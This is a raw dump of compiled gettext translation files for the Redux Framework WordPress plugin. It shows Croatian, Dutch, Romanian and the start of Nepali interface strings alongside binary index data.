__;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes �Aktiviraj demo način rada�Active�Dodaj još�Dodaj/Uredi galeriju�Svi�Dopusti praćenje�Jeste li sigurni? Resetiranjem ćete izgubiti sve prilagođene vrijednosti.�Jeste li sigurni? Resetiranjem ćete izgubiti sve prilagođene vrijednosti u ovoj sekciji.�Jeste li sigurni? Resetiranjem ćete izgubiti sve prilagođene vrijednosti.�Privitak Pozadine�Pozicija Pozadine�Ponavljanje Pozadine�Pohrani font�Stil ruba�Dno�Dnevnik promjena�Obriši galeriju�Kliknite ovdje za aktivaciju probne konfiguracijske datoteke.�Zatvori�Zasluge�Deaktiviraj demo način rada�Zadano�Obriši�Opis�Razvojni programer�Onemogući�Zatvori�Nemoj dopustiti praćenje�Omogući�Proširi�Opcije izvoza�Obitelj fontova�Boja fonta�Skupina fonta�Font script�Stil fonta�Podskupovi fonta�Od�Google Web-fontovi�Visina�Pomozi nam poboljšati naš panel�Ovdje možete kopirati/preuzeti svoje trenutne postavke opcija. Čuvajte ih na sigurnom kako biste ih mogli koristiti kao backup u slučaju da nešto pođe krivo, također ih možete koristiti za vraćanje postavki na ovom sajtu (ili bilo kojem drugom).�Hover�Uvoz�Uvoz / Izvoz�Opcije uvoza�Uvoz iz URL-a�Unesi URL do opcija nekog drugog sajta i lupi Uvoz za učitavanje opcija iz tog sajta.�Unesi dolje svoju backup datoteku i lupi Uvoz za povrat opcija iz backup-a.�Lijevo�Razmak slova�Naziv�Nisu pronađene stavke ovog tipa.�Nema odabranih medijskih datoteka�Opcije�Objekt opcija�Panel opcija je kreiran koristeći %1$s�Lozinka�Redux Framework�Redux Framework ima ugrađen demo.�Regularan�Ukloni�Resetiraj sve�Resetiraj sekciju�Desno�Spremi promjene�Odaberi stavku�Postavke uvezene!�Postavke spremljene!�Postavke su promijenjene, trebali biste ih spremiti!�Pokaži objekt u Javascript konzoli�Veličina�Standardni fontovi�Status�Stil�Podskupovi�Informacije o sustavu�Tema�Ovo polje mora sadržavati ispravnu vrijednost boje.�Ovo polje mora sadržavati ispravan datum.�Naslov�Do�Vrh�Prozirno�URL�Jedinice�Prijenos�Korisnik�Korisničko ime�Inačica�Inačica %s�Posjeti stranicu dodatka�Visited�UPOZORENJE! Ovo će unijeti nove vrijednosti preko postojećih, molimo nastavite samo ako znate što radite!�Upozorenje- Ovaj panel s opcijama neće ispravno raditi bez JavaScript-a!�Širina�Razmak riječi�Radim...�Nemate dopuštenje potrebno za pristup ovoj stranici.�Imate izmjene koje nisu spremljene. Želite li ih spremiti sada?�Imate izmjene koje nisu spremljene. Želite li ih spremiti sada?�Ne smijete unositi HTML u ovo polje, svi HTML tagovi bit će uklonjeni.�Ne smijete unositi specijalne znakove u ovo polje, svi specijalni znakovi tagovi bit će uklonjeni.�Morate osigurati zarezom odvojeni popis (en. comma separated) numeričkih vrijednosti za ovu opciju.�Morate unijeti numeričku vrijednost za ovu opciju.�Morate unijeti valjani URL za ovu opciju.�Morate unijeti valjanu email adresu za ovu opciju.�Vaše trenutne opcije biti će zamijenjene vrijednostima ovih predefiniranih postavki. Želite li nastaviti?�Vaše trenutne opcije bit će zamijenjene vrijednostima ovih predefiniranih postavki. Želite li nastaviti?�greška(e) su pronađene!�upozorenje(a) su pronađena!�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/languages/redux-framework-nl_NL.mo��������������������������������������������������0000644�����������������00000027342�14720701300�0016315 0����������������������������������������������������������������������������������������������������ustar�00�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������\����� ������(�����)�����<�����Y�����`�����o�����v����������������������5�����D�����4���5�� ���j�������������������������������� �������� ������� ����� ���"��.���0�����_�����e�����m����������������� ����� ������������������������������ ������������������$�� ���3�� ���>�� ���I�� ���U�� ���_�� ���l�� ���w�� ����� ���������� ����� ������������������������������������������� ����������(�����8�� ���A�����L�����Q�� ���`�� ���l��2���x�� ��������������� �����!����������������������� ������� ���"�����C�����V�� ���g�����s�� ���|�����������������%����������W��������Q�����Y�� ���`�� ���j�����x�� ���~����������������������,������������� ���������������&�� ���,�����6�����>�� ���F�� ���R�� ���]�����h��'���x��.����������3�����'��� �� ���1�����R�����X�����\�� ���`�����l�����p��(���v���������������������� ��������������������U�����F���C����������������� ���������� ����� �����;��� ��F���H��E�����K�����b���!��3�����-�����/�����a�����`���x�����������������J���������K��,���e��,��������������������m�������l����������������� ���������������������������� ��J��� ��Y���g ��J��� ��#��� !�����0!�����C!�����X!�����k!�����!�����!�� ���!�����!�����!�� ���!�� ���!��6���!����� "�����"�����"�����3"�� ���P"�� ���Z"�� ���f"�� ���s"�����"�� ���"�����"�����"�����"�� ���"�� ���"�� ���"�� ���"�� ���#�� ��� #�� ���#�� ���!#�����.#�� ���A#�� ���L#�����W#�����h#�����{#�� ���#�����#�� ���#�����#�����#�����#�����#�����#�� ���#�����#�� ���$�����$�����0$�� ���5$�����@$�����F$�� ���]$�� ���k$��:���w$�� ���$�����$�����$�� ���$��&���$������%�����%�����%����� %�� ���'%��0���5%�����f%�����y%�� ���%�� ���%�����%�����%�����%�����%��*���%�����&��Z���+&�����&�� ���&�����&�����&�����&�����&�����&�����&�����'�����$'��8���='�����v'�����~'�����'�����'�����'�� ���'�����'�� ���'�����'�� ���'�����'�����'��)���(��)���,(�����V(��<���\(��+���(��%���(�����(�����(�����(�� ���(�����)����� )��/���)�����D)�� ���M)�����W)�����f)�� ���m)�����w)�����)�����)��_���)��F���*�����L*�����g*�����*�����*�����*�����*�� ���*��9���*��E���+��E���_+��G���+��^���+��5���L,��0���,��3���,��S���,��S���;-�� ���-�����-�����-��P���-�����.��,���(.��5���U.��!���.�����.��"���.�����������t�������8���|������������������z���Q������{�������&��������������M���%������������=���k���@���*���o����������������U���`����������l������s���'���������������������� ���1������<���������q�������0����������N���������������f������L������������������������ ���w���C�������]���>������!�������X������#���6��������������������� ���������Z���V��� ������d������2�������I�����������c�������������O��������������-����������S���G���4���"���$���5���i�����������������D���A����������R��������������T�������������������,�������+���h������3���g���7���:���b�������(�������������� ���������a���~���9�������m������v����������P���r�������������/���B������}��� ���?��������������F���;������u������\���y����������Y����������H������_������p���e���x���.�����������������[�������n�������������j�������������)�������E���K���^�����������W�������J�������������Activate Demo Mode�Activate Development Plugins�Active�Active Plugins�Add %s�Add More�Add/Edit Gallery�All�All Defaults Restored!�Allow tracking�Are you sure? Resetting will lose all custom values.�Are you sure? Resetting will lose all custom values in this section.�Are you sure? Resetting will lose all custom values.�Automatic action performed: "%s"�Background Attachment�Background Origin�Background Position�Background Repeat�Background Size�Backup Font Family�Border style�Bottom�Browser�Changelog�Clear Gallery�Click here to activate the sample config file.�Close�Credits�Deactivate Demo Mode�Deactivate Development Plugins�Default�Delete�Description�Developer�Developer Mode Enabled�Disable�Dismiss�Do not allow tracking�Docs�Email address�Enable�Expand�Export Options�Extensions�Font Color�Font Family�Font Size�Font Subsets�Font color�Font family�Font style�Font subsets�From �Front Page�Get Support�Getting Started�Google Webfonts�Height�Help improve Our Panel�Hints�Hover�Import�Import / Export�Import Options�Import from URL�Language�Learn More�Left�Letter Spacing�Like Redux?�Line Height�Must call in of after the "plugins_loaded" action.�MySQL Version�Name�New %s�Newsletter�No items of this type were found.�No media selected�Off�On�Options�Options Object�Options panel created using %1$s�PHP Display Errors�PHP Memory Limit�PHP Version�Password�Please Wait�Redux Extensions�Redux Framework�Redux Framework Changelog�Redux Framework has an embedded demo.�Redux Generator�Redux is a simple, truly extensible options framework for WordPress themes and plugins.�Regular�Remove�Reset All�Reset Section�Right�Save Changes�Section Defaults Restored!�Select an item�Settings Imported!�Settings Saved!�Settings have changed, you should save them!�Size�Slide�Standard Fonts�Status�Style�Subscribe�Subsets�Support�System Info�Team Redux�Text Align�Text Decoration�The people that develop Redux Framework�The unknown action has been replaced with "%s"�Theme�This field cannot be empty. Please provide a value.�This field must be a valid color value.�This field must be a valid date.�Title�To �Top�Transparent�URL�Units�Unknown action "%1$s" specified for %2$s�Upload�User�Username�Version�Version %s�View %s�Visit plugin homepage�Visited�WARNING! This will overwrite all existing option values, please proceed with caution!�Warning- This options panel will not work properly without javascript!�Welcome to Redux Framework�Welcome to Redux Framework %s�Welcome to the Redux Demo Panel�What's New�Width�Word Spacing�Working...�You do not have sufficient permissions to access this page.�You have changes that are not saved. Would you like to save them now?�You have changes that are not saved. Would you like to save them now?�You must not enter any HTML in this field, all HTML tags have been removed.�You must not enter any special characters in this field, all special characters have been removed.�You must provide a numerical value for this option.�You must provide a valid URL for this option.�You must provide a valid email for this option.�Your current options will be replaced with the values of this preset. Would you like to proceed?�Your current options will be replaced with the values of this preset. Would you like to proceed?�clicking�donation�error(s) were found!�has the proper read/write permissions or enter your FTP information below.�http://reduxframework.com�http://wordpress.org/plugins/redux-framework�leave us a favorable review on WordPress.org�moving the mouse over�our documentation�warning(s) were found!�Project-Id-Version: Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-04-02 04:45:17+00:00 PO-Revision-Date: 2015-04-14 00:13+0000 Last-Translator: Dionizio Bonfim Bach <translations@djio.com.br> Language-Team: Dutch (Netherlands) (http://www.transifex.com/projects/p/redux-framework/language/nl_NL/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: nl_NL Plural-Forms: nplurals=2; plural=(n != 1); X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes �Demomodus activeren�Ontwikkelplugins activeren�Actief�Actieve plugins�%s toevoegen�Meer toevoegen�Galerij toevoegen/bewerken�Alles�Alle standaarden hersteld!�Tracking toestaan�Weet je het zeker? Door het herstellen verlies je alle aangepaste waarden.�Weet je het zeker? Door het herstellen verlies je alle aangepaste waarden in deze sectie.�Weet je het zeker? Door het herstellen verlies je alle aangepaste waarden.�Automatische actie uitgevoerd: "%s"�Achtergrondbijlage�Achtergrondoorsprong�Achtergrondpositie�Achtergrondherhaling�Achtergrondgrootte�Back-up lettertype�Randstijl�Onder�Browser�Changelog�Galerij legen�Klik hier om het voorbeeld-configbestand te activeren.�Sluiten�Credits�Demomodus deactiveren�Ontwikkelplugins deactiveren�Standaard�Verwijderen�Beschrijving�Ontwikkelaar�Ontwikkelaarsmodus ingeschakeld�Uitschakelen�Negeren�Tracking niet toestaan�Docs�E-mailadres�Inschakelen�Uitklappen�Exportopties�Extensies�Tekstkleur�Lettertype�Tekengrootte�Subsets lettertype�Tekstkleur�Lettertype�Lettertype-stijl�Subsets lettertype�Van�Voorpagina�Ontvang ondersteuning�Aan de slag�Google Webfonts�Hoogte�Help ons paneel te verbeteren�Hints�Hover�Importeren�Importeren/exporteren�Importopties�Vanaf URL importeren�Taal�Meer weten�Links�Tussenruimte karakters�Dol op Redux?�Regelhoogte�Moet worden opgeroepen in of na de "plugins_loaded"-actie.�MySQL-versie�Naam�Nieuw %s�Nieuwsbrief�Geen items van dit type zijn gevonden.�Geen media geselecteerd�Uit�Aan�Opties�Opties object�Paneel met opties aangemaakt met behulp van %1$s�PHP Display Errors�PHP Memory Limit�PHP Version�Wachtwoord�Even wachten a.u.b.�Redux Extensions�Redux Framework�Redux Framework Changelog�Redux Framework heeft een ingebouwde demo.�Redux Generator�Redux is een simpel, echt uitbreidbare opties framework voor WordPress-thema's en plugins.�Regulier�Verwijderen�Alles herstellen�Sectie herstellen�Rechts�Wijzigingen opslaan�Sectiestandaarden hersteld!�Selecteer een item�Instellingen geïmporteerd!�Instellingen opgeslagen!�Instellingen zijn gewijzigd, je zou deze moeten opslaan!�Grootte�Slide�Standaardlettertypen�Status�Stijl�Abonneren�Subsets�Ondersteuning�Systeeminformatie�Team Redux�Tekstuitlijning�Tekstdecoratie�De mensen die Redux Framework ontwikkelen�De onbekende actie is vervangen door "%s"�Thema�Dit veld kan niet leeg zijn. Geef alsjeblieft een waarde op.�Dit veld moet een geldige kleurwaarde zijn.�Dit veld moet een geldige datum zijn.�Titel�Naar�Boven�Transparant�URL�Eenheid�Onbekende actie "%1$s" gespecificeerd voor %2$s�Uploaden�Gebruiker�Gebruikersnaam�versie�Versie %s�%s tonen�Bezoek homepagina van plugin�Bezocht�WAARSCHUWING! Dit zal alle huidige optiewaarden overschrijven, ga alsjeblieft voorzichtig door!�Waarschuwing- dit optiespaneel zal niet goed werken zonder javascript!�Welkom bij Redux Framework�Welkom bij Redux Framework %s�Welkom bij het Redux Demopaneel�Wat is er nieuw�Breedte�Tussenruimte woorden�Verwerken...�Je hebt onvoldoende rechten voor toegang tot deze pagina.�Je hebt wijzigingen die niet zijn opgeslagen. Wil je deze nu opslaan?�Je hebt wijzigingen die niet zijn opgeslagen. Wil je deze nu opslaan?�Je moet geen HTML in dit veld invoeren, alle HTML-tags zijn verwijderd.�Je moet geen speciale karakters in dit veld invoeren, alle speciale karakters zijn verwijderd.�Je moet een numerieke waarde voor deze optie opgeven.�Je moet een geldige URL voor deze optie opgeven.�Je moet een geldige e-mail opgeven voor deze optie.�Je huidige opties worden vervangen met de waarden van deze preset. Wil je doorgaan?�Je huidige opties worden vervangen met de waarden van deze preset. Wil je doorgaan?�aanklikken�donatie�fout(en) is/zijn gevonden!�de correcte lees/schrijf-rechten heeft of voer jouw FTP-informatie hieronder in.�http://reduxframework.com�http://wordpress.org/plugins/redux-framework�laat een gunstige beoordeling achter op WordPress.org�door het met de muis te gaan over�onze documentatie�waarschuwing(en) is/zijn gevonden!�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/languages/redux-framework-ro_RO.mo��������������������������������������������������0000644�����������������00000040446�14720701300�0016333 0����������������������������������������������������������������������������������������������������ustar�00����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������| ������h�����i�����|�������������������������������������5�����D���!��4���f�� ��������������������������������������*�� ���=�����J�� ���Q�� ���[��.���i�������������������������������� ����� ����������l�������������������� �������������������� ����� ����� ����� ����� ������ ��� ������� ���2�� ���=�� ���I�� ���U�� ���`�����m�� ���s�����~�����������������������������������3��Z���9��U�������������������������]��� ��X���~�� ��������������� ����� �����2��������A�����F�� ���M��!���X�����z���������������������� ����� ���������� �������������������������%����������W��������[�����c�����j�� ���o�� ���y������� �������������������������,�����(��������=�����B�����H�����W�����^�� ���d�����n�����v�� ���~�� ����� ��������������������'���D�����l��.��� �����9��3���?��'���s�� �����y��������6�����<�����@�� ���D�����P��3���T�������(������������������������� ��������������������U��������[��F���@����������������� ���������� ����� �����;��� ��F���E ��E��� ��K��� ��b���!��L���!��3���!��-���"��/���0"��a���`"��`���"�����##�����,#�����5#�����J#��J���_#�����#��,���#��,���#�����$�����4$�����F$����]$�����'�����(�����#(�� ���)(�����4(�����E(�����_(��'���e(��!���(��E���(��\���(��E���R)��!���)�����)�� ���)�����)�����)�����)�����*�����*�� ���3*�����A*�����E*�����M*��=���^*�����*�����*�����*�� ���*�� ���*�����*�� ���*�� ����+����� +��z���&+�� ���+�����+��$���+�� ���+�� ���+�����+�����+�����,�� ���,�� ���&,�����3,�� ���C,�����O,�����^,�� ���t,�� ���,�� ���,�� ���,�� ���,�����,�� ���,�����,�����,�� ���,��.���,�����%-�����-�����-�����.�����.�����L/�����/�����/�����/�����/��k���0��n���0�����0�����1�����1�����1�����*1��;���<1�����x1�����1�����1��*���1�����1�����1�����1�����1�����1��%��� 2�� ���12�����>2�����F2�����]2�����@3�����O3��"���_3��)���3�����3��l���3�����)4�����04�����84�����S4�����d4�����w4�����4��,���4�����4�����4�����4��8���4��(���65�� ���_5�� ���j5�����t5�����5�����5�����5�����5�� ���5�����5�� ���5�� ���5�����5�����5�����5��'���6�����6��0���7�����7��C���7��?���7��.���<8�����k8�����8�����8�����9�� ���9�����9��K���9�����a9��5���i9�����9�� ���9�����9�����9�� ���9�����9��)���9�����:��P���:����i:��L���o;�����;�� ���;�����;�� ���<�����&<�����.<�� ���@<��D���M<��<���<��<���<��Z��� =��k���g=��U���=��D���)>��F���n>��K���>��b���?��Y���d?�� ���?�����?�����?�����?��V����@�����W@��,���q@��7���@�����@�����@����� A�����.��������������x��������������#�����������������N���������������)���T��������� �������f���<����������3���6������j���|���M���������P�����������������\���2�������c���:������%���Y���u���K�������������!������������l�������������S���r�����������������C���o�������"������������������������b���d�����������������������G���[������y��������������W�����������������0�����������������$���D���w�����������������h���}����������{����������>������Q�������U�������������~������B������������������������4�������n���V���;������I���������k���F���a���m�������1���8���J�������������e����������H�������������������������&��� ����������O����������?����������/���`���,���9�����������'������q��� ���������� ��� �����������L�����������������i���g���z�������A�������������(������^���E������7����������s���+��������������5���������������������������Z������������� �������X���-���@���_���]��������������*������������t�������v�����������p���R���=����Activate Demo Mode�Activate Development Plugins�Active�Add %s�Add More�Add/Edit Gallery�All�All Defaults Restored!�Allow tracking�Are you sure? Resetting will lose all custom values.�Are you sure? Resetting will lose all custom values in this section.�Are you sure? Resetting will lose all custom values.�Automatic action performed: "%s"�Background Attachment�Background Clip�Background Origin�Background Position�Background Repeat�Background Size�Backup Font Family�Border style�Bottom�Changelog�Clear Gallery�Click here to activate the sample config file.�Close�Credits�Deactivate Demo Mode�Deactivate Development Plugins�Default�Delete�Description�Developer�Developer Mode Enabled�Did you know we have extensions, which greatly enhance the features of Redux? Visit our %1$s to learn more!�Disable�Dismiss�Do not allow tracking�Email address�Enable�Expand�Export Options�Extensions�Font Color�Font Family�Font Size�Font Subsets�Font Variant�Font Weight & Style�Font color�Font family�Font script�Font style�Font subsets�From �Front Page�Getting Started�Google Webfonts�Height�Help improve Our Panel�Here you can copy/download your current option settings. Keep this safe as you can use it as a backup should anything go wrong, or you can use it to restore your settings on this site (or any other site).�Hints�Hints are tooltips that popup when %d the hint icon, offering addition information about the field in which they appear. They can be %d d by using the link below.�Hover�If so, please %1$s and consider making a %2$s to keep development of Redux moving forward.�If you'd like to keep up to with all things Redux, please subscribe to our newsletter�Import�Import / Export�Import Options�Import from URL�Input the URL to another sites options set and hit Import to load the options from that site.�Input your backup file below and hit Import to restore your sites options from a backup.�Learn More�Left�Letter Spacing�Like Redux?�Line Height�Must call in of after the "plugins_loaded" action.�Name�New %s�Newsletter�No items of this type were found.�No media selected�Off�On�Options�Options Object�Options panel created using %1$s�PHP Version�Password�Please Wait�Please helps us improve our panel by allowing us to gather anonymous usage stats so we know which configurations, plugins and themes to test to ensure compatibility.�Redux Extensions�Redux Framework�Redux Framework Changelog�Redux Framework has an embedded demo.�Redux Generator�Redux is a simple, truly extensible options framework for WordPress themes and plugins.�Regular�Remove�Repo�Reset All�Reset Section�Right�Save Changes�Section Defaults Restored!�Select an item�Settings Imported!�Settings Saved!�Settings have changed, you should save them!�Show Object in Javascript Console Object�Size�Slide�Standard Fonts�Status�Style�Subscribe�Subsets�Support�System Info�Team Redux�Text Align�Text Decoration�Text Transform�The following directories & files are still located in your <strong>Redux</strong> directory. They may cause errors in Theme-Check.�The people that develop Redux Framework�The theme you are testing has %s embedded. We invite you to read the %sTheme-Check Documentation%s to understand some warnings you will see because of Redux.�The unknown action has been replaced with "%s"�Theme�This field cannot be empty. Please provide a value.�This field must be a valid color value.�This field must be a valid date.�This panel demonstrates the many features of Redux. Before digging in, we suggest you get up to speed by reviewing %1$s.�Title�To �Top�Transparent�URL�Unable to modify required files. Please ensure that�Units�Unknown action "%1$s" specified for %2$s�Upload�User�Username�Version�Version %s�View %s�Visit plugin homepage�Visited�WARNING! This will overwrite all existing option values, please proceed with caution!�Want to get a head start? Use the %1$s. It will create a customized boilerplate theme or a standalone admin folder complete with all things Redux (with the help of Underscores and TGM). Save yourself a headache and try it today.�Warning- This options panel will not work properly without javascript!�Welcome to Redux Framework�Welcome to Redux Framework %s�Welcome to the Redux Demo Panel�What's New�Width�Word Spacing�Working...�You do not have sufficient permissions to access this page.�You have changes that are not saved. Would you like to save them now?�You have changes that are not saved. Would you like to save them now?�You must not enter any HTML in this field, all HTML tags have been removed.�You must not enter any special characters in this field, all special characters have been removed.�You must provide a comma separated list of numerical values for this option.�You must provide a numerical value for this option.�You must provide a valid URL for this option.�You must provide a valid email for this option.�Your current options will be replaced with the values of this preset. Would you like to proceed?�Your current options will be replaced with the values of this preset. Would you like to proceed?�clicking�donation�error(s) were found!�extensions directory�has the proper read/write permissions or enter your FTP information below.�http://reduxframework.com�http://wordpress.org/plugins/redux-framework�leave us a favorable review on WordPress.org�moving the mouse over�our documentation�warning(s) were found!�Project-Id-Version: Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-04-02 04:45:17+00:00 PO-Revision-Date: 2015-04-14 00:13+0000 Last-Translator: Dionizio Bonfim Bach <translations@djio.com.br> Language-Team: Romanian (Romania) (http://www.transifex.com/projects/p/redux-framework/language/ro_RO/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: ro_RO Plural-Forms: nplurals=3; plural=(n==1?0:(((n%100>19)||((n%100==0)&&(n!=0)))?2:1)); X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes �Activare mod Demo�Activare module de dezvoltare�Activ�Adaugă %s�Adaugă mai mult�Adaugă/Editează galerie�Toate�Toate predefinitele au fost restaurate!�Permite colectarea de informații�Sunțeti sigur? Resetând se vor pierde toate valorile personalizate.�Sunțeti sigur? Resetând se vor pierde toate valorile personalizate din această secțiune.�Sunțeti sigur? Resetând se vor pierde toate valorile personalizate.�Acțiune efectuată automat: "%s"�Atașament pentru fundal�Fundal Clip�Origine fundal�Poziție fundal�Repetiție fundal�Mărime fundal�Famile font rezerva�Stil bordură�Jos�Istoric�Golește galerie�Apasați aici pentru a activa fișierul de configurare model.�Închide�Echipă�Dezactivare mod Demo�Dezactivare module de dezvoltare�Predefinit�Șterge�Descriere�Programator�Modul dezvoltator activat�Ştiaţi că avem extensii, ce sporesc considerabil caracteristicile Redux? Vizitaţi %1$s nostru pentru a afla mai multe!�Dezactivează�Închide�Nu permite colectarea de informații�Adresă Email�Activează�Extinde�Exportă opțiuni�Extensii�Culoare font�Familie font�Dimensiune font�Subset font�Variantă font�Grosime și stil font�Culoare font�Familie font�Script font�Stil font�Subset font�De la�Prima pagină�Noțiuni de bază�Font-uri web Google�Înălțime�Ajută la îmbunătățirea Panolui de Control�De aici puteți copia/descarca opțiunile curente. Vă rugăm să le salvați într-un loc sigur, în caz de probleme sau folosiți-le pentru a restaura setările acestui site (sau oricarui altul).�Indicii�Sugestiile sunt mesaje ajutătoare ce se afişează când %d peste iconiţa pentru sugestie, oferind informaţii adiţionale despre câmpul în care apar. Acestea pot fi %d d folosind link-ul de mai jos. �Hover�Dacă da, vă rugăm %1$s să luați in calcul posibilitatea de a ne face o %2$s pentru a putea sigura dezvoltarea pe viitor a Redux.�Dacă doriţi să rămâneţi la curent cu toate noutăţile Redux, vă rugăm să vă abonaţi la buletinul nostru informativ.�Importă�Importă / Exportă�Importă opțiuni�Importă de la adresa URL�Inserează adresa opțiunilor din alt site și apasă Importă pentru a încărca opțiunile din acel site.�Alege fișierul de rezervă mai jos și apasă Importă pentru a restaura setările dintr-o copie de rezervă.�Aflaţi mai Mult�Stanga�Spațiere litere�Vă place Redux?�Înălțime linie�Necesită apelare în sau după acțiunea "plugins_loaded".�Denumire�Nou %s�Buletin informativ�Nu s-a găsit niciun articol de acest tip.�Nici un fișier media selectat�Oprit�Pornit�Opțiuni�Obiect opțiuni�Panoul de optiuni creat folosind %1$s�Versiune PHP�Parolă�Vă rugăm aşteptaţi�Vă rugăm să ne ajutați la îmbunătățirea panoului nostru, permițându-ne să colectăm în anonimat statistici de utilizare, pentru a ști ce configurări, module sau teme să testăm pentru a asigura compatibilitatea.�Extensii Redux�Redux Framework�Jurnal modificări Redux Framework�Redux Framework are mod Demo încorporat.�Generator Redux�Redux este un framework de opţiuni simplu şi cu adevărat extensibil pentru teme şi plugin-uri WordPress.�Normal�Șterge�Contract de răscumpărare�Resetare totală�Resetare secțiune�Dreapta�Salvează modificări�Predefinitele secțiunii au fost restaurate!�Selectează un articol�Setări importate!�Setări salvate!�Setările au fost modificate, ar trebui să le salvați!�Afișează obiect în Consola Javascript�Dimensiune�Alunecare�Font-uri standard�Stare�Stil�Abonare�Subset�Asistenţă�Informații sistem�Team Redux�Aliniere Text�Decorațiune text�Transformare Text�Următoarele directoare şi fişiere se găsesc în continuare în directorul dumneavoastră <strong>Redux</strong>. Acestea pot crea erori în Theme-Check.�Persoanele ce dezvoltă Redux Framework�Template-ul pe care îl testaţi are %s încorporate. Vă invităm să citiţi %S documentaţia Theme-Check %s pentru a înţelege anumite avertizări pe care le veţi vedea datorită Redux.�Acțiunea necunoscută a fost inlocuită cu "%s"�Temă�Acest câmp nu poate fi lăsat liber. Vă rugăm să-l completaţi.�Acest câmp trebuie să conțină o valoare de culoare validă.�Câmpul trebuie să conțină o dată validă.�Acest panou prezintă multitudinea de caracteristici ale Redux. Înainte de a intra în detalii, vă sugerăm să avansaţi examinând %1$s.�Titlu�La�Sus�Transparent�URL�Nu am putut modifica fișierele necesare. Vă rugăm să vă asigurați că�Unitate�Acțiune necunoscută "%1$s" specificată pentru %2$s�Upload�Utilizator�Nume utilizator�Versiune�Versiunea %s�Vizualizare %s�Vizitează pagina de internet a modulului�Vizitat�ATENTIE! Se vor suprascrie toate opțiunile, vă rugăm avansați cu precauție!�Vreţi să porniţi de la capăt? Folosiţi %1$s. Se va crea o temă şablon personalizată sau un dosar de administrare independent cu toate elementele Redux (cu ajutorul Liniuţelor-de-subliniere şi TGM). Scăpaţi de durerile de cap, încercând chiar azi. �Atenție - Acest panou de control nu va funcționa corect fără javascript!�Bun venit la Redux Framework�Bune venit la Redux Framework %s�Bun venit în Panoul Demo Redux�Ce este Nou�Lungime�Spațiere cuvinte�Procesare...�Nu aveti suficiente drepturi pentru a putea accesa această pagină.�Există modificări nesalvate. Doriţi să le salvaţi acum?�Există modificări nesalvate. Doriţi să le salvaţi acum?�Nu trebuie să introduceți cod HTML în acest câmp, toate tagurile HTML au fost șterse.�Nu trebuie să introduceți caractere speciale în acest câmp, toate caracterele speciale au fost șterse.�Trebuie să furnizați o listă numerică separată prin virgulă pentru acest câmp.�Trebuie să furnizați o valoare numerică pentru această opțiune.�Trebuie să furnizați o adresă URL validă pentru această opțiune.�Trebuie să furnizați o adresă de email validă pentru această opțiune.�Opţiunile dvs, curente vor fi înlocuite cu valorile acestei presetări. Doriţi să continuaţi?�Opțiunile curente vor fi înlocuite de valorile acestui câmp. Doriți să continuați ?�dând clic�donaţie�eroare(i) găsită(e)!�directorul de extensii�are permisiunile corecte de citire/scriere sau introduceți informațiile FTP mai jos.�http://reduxframework.com�http://wordpress.org/plugins/redux-framework�să ne lăsaţi o recenzie favorabilă pe WordPress.org�deplasând mous-ul deasupra�documentaţia noastră�atenționare(i) găsită(e)!���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/languages/redux-framework-ne_NP.mo��������������������������������������������������0000644�����������������00000032365�14720701300�0016313 0����������������������������������������������������������������������������������������������������ustar�00�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������m�����������������@ �����A �����T �����[ �����d �����u �����y ����� ��5��� ��D��� ��4��� �����O �����e �����y ����� �� ��� ����� �� ��� ��.��� ����� ����� ����� ����� �� ��� �����% �����< �����D �����Z �����a �� ���p �� ���| �� ��� �� ��� �� ��� �� ��� ����� ����� ����� ����� ����� ����� ����� ����� ����� ����� ����� ��]��� ��X���X ����� ����� ����� ��!��� ����� ����� ������� ��������6�� ���?�����K��%���[������������ ����� ���������� �������������������������,�����(���5�����^�����c�����i�����x������������ �����'����� �������������������� ������������������������ ������������U���#��F���y������� ����� �����F�����E���%��K���k��b�����L�����3���g��-�����/�����a�����`���[�������J����������h��3��0���������������:������ ���;��Z���E��D������������������.��C�����1�����7���L��#���������������5�����R����� ���R��9���_��*���������������,�����+�����G���C�������D�����(�������������#��(���C�����l��&����� ���������� �����e�������@�����>!�� ���Q!�� ���^!��$���k!��;���!��-���!�����!�����"�����#��+���#�� ���$��M���$��9���k$�����$��"���$��Z���$�����?%��7���U%�����%��B���%�����%�����%��)��� &��,���3&�����`&��>���p&��]���&��6��� '��6���D'��+���{'�����'��J���2(�� ���}(�����(�����(�� ���(�� ���(�����(��+���(��]���)��V���w)�����)�� ���)�� 